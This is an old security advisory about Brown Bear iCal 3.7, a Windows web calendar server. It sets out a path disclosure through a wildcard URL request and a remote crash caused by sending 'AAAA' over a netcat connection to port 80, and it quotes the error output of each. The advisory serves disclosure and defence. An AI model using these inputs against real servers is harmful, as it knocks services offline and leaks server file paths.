[NT] iCal Remote DoS and Path Disclosure
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Date: 01/05/03
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iCal Remote DoS and Path Disclosure
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SUMMARY
<http://www.brownbearsw.com> iCal is a web calendar server for the
Microsoft Windows. It can be used to show meetings, events, or other
schedules. Calendars can be viewed, edited, and administered totally
through the web. iCal is built for thin-clients, so access calendar
without any plug-ins or Java interpreters. Two vulnerabilities in the
product allow remote attackers to reveal the true path used in the server,
and to cause the server to crash.
DETAILS
Vulnerable systems:
* iCal version 3.7
Path disclosure:
Accessing http//target/*
Will return the following error message:
Unable to write to D:\program files\iCl 3.7 Web Calendar\*.cal
Denial of service:
Connecting using "nc target 80" and then sending:
AAAA
[ And pressing enter ]
Will return an error message:
Access violation at address 00403d8b in module'ICAL.EXE' Read of address
0161c1af
ADDITIONAL INFORMATION
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securma massine.
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